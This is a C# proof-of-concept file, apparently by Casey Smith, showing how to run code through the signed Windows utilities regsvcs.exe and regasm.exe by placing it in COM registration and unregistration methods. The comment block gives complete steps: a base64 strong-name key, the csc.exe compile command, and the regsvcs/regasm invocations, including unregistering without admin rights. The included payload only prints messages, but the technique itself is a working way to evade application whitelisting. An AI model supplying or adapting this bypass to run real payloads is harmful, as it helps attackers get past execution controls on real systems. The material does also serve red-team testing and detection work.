using System; using System.EnterpriseServices; using System.Runtime.InteropServices; /* Author: Casey Smith, Twitter: @subTee License: BSD 3-Clause Create Your Strong Name Key -> key.snk From PowerShell.exe Step One: Creates a Strong Name Key. $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk RegSvcsRegaAsmBypass.cs C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll [OR] C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll //Executes UnRegisterClass If you don't have permissions C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll //This calls the UnregisterClass Method */ namespace regsvcser { public class Bypass : ServicedComponent { public Bypass() { Console.WriteLine("I am a basic COM Object"); } [ComRegisterFunction] //This executes if registration is successful public static void RegisterClass ( string key ) { Console.WriteLine("I shouldn't really execute"); } [ComUnregisterFunction] //This executes if registration fails public static void UnRegisterClass ( string key ) { Console.WriteLine("I shouldn't really execute either."); } } }